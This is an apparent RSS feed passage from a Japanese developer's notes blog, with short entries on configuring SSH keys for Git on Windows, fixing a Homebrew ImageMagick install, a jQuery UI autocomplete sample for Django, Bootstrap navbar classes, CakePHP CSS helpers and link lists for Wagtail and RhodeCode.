&lt;li&gt;&lt;a href="http://forum.exitgames.com/viewtopic.php?f=5&amp;amp;t=5881"&gt;Service shutting down: with Exception (1). Errorcode: 6&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://forum.exitgames.com/viewtopic.php?f=5&amp;amp;t=3308"&gt;the maximum timeout that we can set?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://forum.exitgames.com/viewtopic.php?f=5&amp;amp;t=2764"&gt;photon server shutdown after X second&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://forum.exitgames.com/viewtopic.php?f=5&amp;amp;t=2746"&gt;OnDisconnect is not called sometimes ?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Configure Windows Git ssh</title><link>https://hdknr.github.io/blogs/posts/2015/03/configure-windows-git-ssh/</link><pubDate>Sun, 29 Mar 2015 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2015/03/configure-windows-git-ssh/</guid><description>&lt;h2 id="git-mv-permission-denied"&gt;git mv “permission denied&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://academe.co.uk/2011/12/git-mv-permission-denied/"&gt;git mv “permission denied”&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;レポジトリのフォルダーから explorer 起動している？閉じてください。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="gitignore"&gt;.gitignore&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://stackoverflow.com/questions/2143956/gitignore-for-visual-studio-projects-and-solutions"&gt;.gitignore for Visual Studio Projects and Solutions&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="ssh関連"&gt;ssh関連&lt;/h2&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;C:\Users\hdknr&amp;gt;where ssh-keygen
C:\ProgramData\chocolatey\bin\ssh-keygen
C:\ProgramData\chocolatey\bin\ssh-keygen.bat
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;C:\Users\hdknr\Documents\hoge&amp;gt;ssh-keygen -b 4096 -f \Users\hdknr\.ssh\win8.key
Generating public/private rsa key pair.
cygwin warning:
MS-DOS style path detected: \Users\hdknr\.ssh\win8.key
Preferred POSIX equivalent is: /cygdrive/c/Users/hdknr/.ssh/win8.key
CYGWIN environment variable option &amp;#34;nodosfilewarning&amp;#34; turns off this warning.
Consult the user&amp;#39;s guide for more details about POSIX paths:
http://cygwin.com/cygwin-ug-net/using.html#using-pathnames
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in \Users\hdknr\.ssh\win8.key.
Your public key has been saved in \Users\hdknr\.ssh\win8.key.pub.
The key fingerprint is:
93:66:5a:0e:7b:e4:a1:2d:fc:ee:46:4f:46:1c:07:fa hdknr@Blacky
The key&amp;#39;s randomart image is:
+--[ RSA 4096]----+
| .. |
| .. . |
| .. o |
| oo |
| . S.E |
| . &amp;amp;.oo |
| *.=+ |
| +. . |
| ++ |
+-----------------+
C:\Users\hdknr\Documents\hoge&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;C:\Users\hdknr\Documents\hoge&amp;gt;dir \Users\hdknr\.ssh
ドライブ C のボリューム ラベルは Acer です
ボリューム シリアル番号は 9AAA-8637 です
C:\Users\hdknr\.ssh のディレクトリ
2015/03/29 17:35 &amp;lt;DIR&amp;gt; .
2015/03/29 17:35 &amp;lt;DIR&amp;gt; ..
2015/03/29 16:51 410 known_hosts
2015/03/29 17:35 3,243 win8.key
2015/03/29 17:35 738 win8.key.pub
5 個のファイル 8,372 バイト
2 個のディレクトリ 807,079,927,808 バイトの空き領域
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;C:\Users\hdknr\Documents\hoge&amp;gt;where git
C:\Program Files (x86)\Git\cmd\git.exe
C:\Users\hdknr\Documents\hoge&amp;gt;cd C:\Program Files (x86)\Git\etc
C:\Program Files (x86)\Git\etc&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;C:\Program Files (x86)\Git\etc&amp;gt;mkdir ssh
C:\Program Files (x86)\Git\etc&amp;gt;gvim ssh\ssh_config
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;C:\Program Files (x86)\Git\etc&amp;gt;more ssh\ssh_config
Host bitbucket.org
IdentityFile C:\Users\hdknr\.ssh\win8.key
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;C:\Users\hdknr\Documents\hoge&amp;gt;git clone git@bitbucket.org:hdknr/photo.git
Cloning into &amp;#39;photo&amp;#39;...
remote: Counting objects: 33, done.
remote: Compressing objects: 100% (31/31), done.
remote: Total 33 (delta 1), reused 0 (delta 0)
Receiving objects: 100% (33/33), 9.72 MiB | 400.00 KiB/s, done.
Resolving deltas: 100% (1/1), done.
Checking connectivity... done.
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>Python VCS</title><link>https://hdknr.github.io/blogs/posts/2015/03/python-vcs/</link><pubDate>Thu, 05 Mar 2015 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2015/03/python-vcs/</guid><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://pythonhosted.org/vcs/api/index.html"&gt;https://pythonhosted.org/vcs/api/index.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://pypi.python.org/pypi/RhodeCode"&gt;https://pypi.python.org/pypi/RhodeCode&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://code.rhodecode.com/"&gt;https://code.rhodecode.com/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="rhodecode-requirements"&gt;RhodeCode Requirements&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://pypi.python.org/pypi/waitress/0.8.9"&gt;Waitress WSGI server&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;[WebOb provides wrappers around the WSGI request environment, and an object to help create WSGI responses.](WebOb provides wrappers around the WSGI request environment, and an object to help create WSGI responses.)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://pypi.python.org/pypi/FormEncode/1.3.0"&gt;FormEncode validates and converts nested structures.&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Django Jade</title><link>https://hdknr.github.io/blogs/posts/2015/03/django-jade/</link><pubDate>Tue, 03 Mar 2015 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2015/03/django-jade/</guid><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://waaave.com/tutorial/django/use-jade-templates-in-django/"&gt;Use Jade Templates In Django&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://stackoverflow.com/questions/19911969/how-to-combine-django-with-jade"&gt;How to combine Django with Jade&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>PNGファイルの連結</title><link>https://hdknr.github.io/blogs/posts/2015/03/png%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB%E3%81%AE%E9%80%A3%E7%B5%90/</link><pubDate>Sun, 01 Mar 2015 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2015/03/png%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB%E3%81%AE%E9%80%A3%E7%B5%90/</guid><description>&lt;h2 id="imagemagick-install"&gt;imagemagick install&lt;/h2&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ brew install ImageMagick
==&amp;gt; Downloading https://homebrew.bintray.com/bottles/imagemagick-6.9.0-3.yosemite.bottle.tar.gz
######################################################################## 100.0%
==&amp;gt; Pouring imagemagick-6.9.0-3.yosemite.bottle.tar.gz
Error: The `brew link` step did not complete successfully
The formula built, but is not symlinked into /usr/local
Could not symlink bin/convert
Target /usr/local/bin/convert
already exists. You may want to remove it:
rm &amp;#39;/usr/local/bin/convert&amp;#39;
To force the link and overwrite all conflicting files:
brew link --overwrite imagemagick
To list all files that would be deleted:
brew link --overwrite --dry-run imagemagick
Possible conflicting files are:
/usr/local/bin/convert
/usr/local/share/man/man1/convert.1
==&amp;gt; Summary
🍺 /usr/local/Cellar/imagemagick/6.9.0-3: 1440 files, 22M
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;$ rm &amp;#39;/usr/local/bin/convert&amp;#39;
override rwxr-xr-x root/wheel for /usr/local/bin/convert? yes
$ ls /usr/local/bin/convert
ls: /usr/local/bin/convert: No such file or directory
$ brew link --overwrite imagemagick
Linking /usr/local/Cellar/imagemagick/6.9.0-3... 71 symlinks created
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>jQueryUI</title><link>https://hdknr.github.io/blogs/posts/2015/02/jqueryui/</link><pubDate>Thu, 26 Feb 2015 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2015/02/jqueryui/</guid><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="http://api.jqueryui.com/autocomplete/#option-source"&gt;Autocomplete Widget&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.buildinsider.net/web/jqueryuiref/0018"&gt;AutoCompleteウィジェットの検索／表示方法をカスタマイズするには？&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://jquery.keicode.com/ui/autocomplete.php"&gt;jQuery UI - オートコンプリート&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="source"&gt;source&lt;/h2&gt;
&lt;h3 id="source1-配列"&gt;source#1. 配列&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;文字列配列&lt;/li&gt;
&lt;/ol&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;[ &amp;#34;Choice1&amp;#34;, &amp;#34;Choice2&amp;#34; ]
&lt;/code&gt;&lt;/pre&gt;&lt;ol start="2"&gt;
&lt;li&gt;オブジェクト配列( obj.label, obj.value )&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;value = value or label&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt; [ { label: &amp;#34;Choice1&amp;#34;, value: &amp;#34;value1&amp;#34; }, ... ]
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="source2-uri"&gt;source#2. URI&lt;/h3&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;GET source_uri?term=入力文字列
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="source3-関数"&gt;source#3. 関数&lt;/h3&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;source : function(request, response){
var iput = response.term;
response([ var1, var2, ...] );
}
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="sample-with-a-django-model"&gt;Sample with a Django Model&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;entities&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {&lt;span style="color:#f92672"&gt;%&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;to_json&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;entities&lt;/span&gt; &lt;span style="color:#f92672"&gt;%&lt;/span&gt;}; &lt;span style="color:#75715e"&gt;// serializers.serialize(&amp;#39;json&amp;#39;, entities)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;$&lt;/span&gt;( &lt;span style="color:#e6db74"&gt;&amp;#34;input.entity-title&amp;#34;&lt;/span&gt; ).&lt;span style="color:#a6e22e"&gt;autocomplete&lt;/span&gt;({
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;delay&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;source&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;$&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;map&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;entities&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;val&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;index&lt;/span&gt;){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;label&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;val&lt;/span&gt;[&lt;span style="color:#e6db74"&gt;&amp;#39;fields&amp;#39;&lt;/span&gt;][&lt;span style="color:#e6db74"&gt;&amp;#39;name&amp;#39;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;value&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;val&lt;/span&gt;[&lt;span style="color:#e6db74"&gt;&amp;#39;fields&amp;#39;&lt;/span&gt;][&lt;span style="color:#e6db74"&gt;&amp;#39;id&amp;#39;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;model&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;val&lt;/span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;select&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;e&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;ui&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;alert&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;ui&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;item&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;model&lt;/span&gt;[&lt;span style="color:#e6db74"&gt;&amp;#39;fields&amp;#39;&lt;/span&gt;][&lt;span style="color:#e6db74"&gt;&amp;#39;created_at&amp;#39;&lt;/span&gt;]);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; });
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Boostrap : nav</title><link>https://hdknr.github.io/blogs/posts/2015/02/boostrap-nav/</link><pubDate>Wed, 25 Feb 2015 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2015/02/boostrap-nav/</guid><description>&lt;ul&gt;
&lt;li&gt;navbar&lt;/li&gt;
&lt;li&gt;navbar-brand&lt;/li&gt;
&lt;li&gt;navbar-collapse&lt;/li&gt;
&lt;li&gt;navbar-default&lt;/li&gt;
&lt;li&gt;navbar-form&lt;/li&gt;
&lt;li&gt;navbar-header&lt;/li&gt;
&lt;li&gt;navbar-nav&lt;/li&gt;
&lt;li&gt;navbar-toggle&lt;/li&gt;
&lt;li&gt;navbar-left&lt;/li&gt;
&lt;li&gt;navbar-btn&lt;/li&gt;
&lt;li&gt;navbar-text&lt;/li&gt;
&lt;li&gt;navbar-link&lt;/li&gt;
&lt;li&gt;navbar-right&lt;/li&gt;
&lt;li&gt;navbar-fixed-top&lt;/li&gt;
&lt;li&gt;navbar-fixed-bottom&lt;/li&gt;
&lt;li&gt;navbar-static-top&lt;/li&gt;
&lt;li&gt;navbar-inverse&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>CakePHP</title><link>https://hdknr.github.io/blogs/posts/2015/02/cakephp/</link><pubDate>Wed, 25 Feb 2015 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2015/02/cakephp/</guid><description>&lt;h2 id="view"&gt;View&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.webopixel.net/cakephp/291.html"&gt;CakePHPでコントローラーやアクションごとにCSS&amp;amp;jsを切り替える方法&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="css"&gt;CSS&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;?&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;php&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;echo&lt;/span&gt; $html&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;css&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;forms&amp;#39;&lt;/span&gt;); &lt;span style="color:#75715e"&gt;?&amp;gt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;// 出力
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt; &amp;lt;link rel=&amp;#34;stylesheet&amp;#34; type=&amp;#34;text/css&amp;#34; href=&amp;#34;/ja/test/css/forms.css&amp;#34; /&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;// 第１引数に配列も有効です
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;lt;?php echo $html-&amp;gt;css(array(&amp;#39;forms&amp;#39;,&amp;#39;tables&amp;#39;,&amp;#39;menu&amp;#39;)); ?&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;// 出力
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;lt;link rel=&amp;#34;stylesheet&amp;#34; type=&amp;#34;text/css&amp;#34; href=&amp;#34;/ja/test/css/forms.css&amp;#34; /&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;lt;link rel=&amp;#34;stylesheet&amp;#34; type=&amp;#34;text/css&amp;#34; href=&amp;#34;/ja/test/css/tables.css&amp;#34; /&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;lt;link rel=&amp;#34;stylesheet&amp;#34; type=&amp;#34;text/css&amp;#34; href=&amp;#34;/ja/test/css/menu.css&amp;#34; /&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Bootstrap Dropdown with Icons</title><link>https://hdknr.github.io/blogs/posts/2015/02/bootstrap-dropdown-with-icons/</link><pubDate>Tue, 24 Feb 2015 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2015/02/bootstrap-dropdown-with-icons/</guid><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://stackoverflow.com/questions/15940566/adding-icons-to-a-bootstrap-dropdown"&gt;Adding icons to a Bootstrap dropdown&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.bootply.com/dY6NoqjoZp"&gt;Bootply Sample&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://djangosnippets.org/snippets/2797/"&gt;Bootstrap button dropdown widget (replaces forms.Select)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Django: Manager With QuerySet</title><link>https://hdknr.github.io/blogs/posts/2015/02/django-manager-with-queryset/</link><pubDate>Tue, 24 Feb 2015 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2015/02/django-manager-with-queryset/</guid><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.djangoproject.com/en/1.7/topics/db/managers/#from-queryset"&gt;from_queryset&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Wagtail</title><link>https://hdknr.github.io/blogs/posts/2015/02/wagtail/</link><pubDate>Mon, 23 Feb 2015 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2015/02/wagtail/</guid><description>&lt;h2 id="wagtail"&gt;wagtail&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/wagtail/wagtail"&gt;wagtail/wagtail&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://docs.wagtail.io/en/v1.8/index.html"&gt;Welcome to Wagtail’s documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="modelcluster"&gt;modelcluster&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/torchbox/django-modelcluster"&gt;django-modelcluster&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="taggit"&gt;taggit&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/alex/django-taggit"&gt;django-taggit&lt;/a&gt; (&lt;a href="http://django-taggit.readthedocs.org/en/latest/"&gt;doc&lt;/a&gt;)&lt;/li&gt;
